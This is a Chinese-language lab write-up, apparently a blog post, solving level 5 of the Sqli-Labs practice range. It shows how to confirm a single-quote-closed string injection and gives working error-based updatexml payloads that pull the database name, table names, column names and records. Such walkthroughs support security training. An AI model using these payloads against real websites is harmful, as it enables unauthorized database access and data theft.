打靶Sqli-Labs记录--05关

23 阅读2分钟

一.前置知识

二.打靶实战

进入靶场

image.png

1.判断是否存在SQL注入漏洞

①能交互,用户可控制输入的数据

image.png

②数据能传送到数据库中

2.判断注入类型及闭合方式

试验点1:?id=1 and 1=1

试验点2:?id=1 and 1=2

试验点3:?id=1'

试验点1和试验点2结果均相同,说明是字符型注入

image.png

试验点3near报错信息判断闭合方式法可知是单引号闭合。

[技巧1:near报错判断闭合方式]

第1步:先去掉near后面内容的左右各一个单引号 ''1''->'1'

第2步:再去掉本来输入的内容 '1'->'

第3步:剩下的内容从右边向左边看,留下的即是闭合方式内容 '->单引号闭合 image.png

3.获取数据库名

由于报错只会在updatexml中的xml_string(即第2个参数位置)出现,所以第1、3参数位置可以任意设置

示例:?id=1' and updatexml(1,concat(0x7e,database(),0x7e),3)%23

数据库为security

image.png

4.获取数据库表名

由于concat只能合并成一行,因此concat需要group_concat辅助来进行合并

先将多个表合并,再与特殊字符合并

示例:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),3)%23

image.png

5.获取表中的字段

思路相同,只需要把对应的table换成column即可,其他保持不变

示例:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'),0x7e),3)%23

image.png

6.获取字段中的记录

示例:?id=1' and updatexml(1,concat(0x7e,(select group_concat(id) from emails where database()='security'),0x7e),3)%23

image.png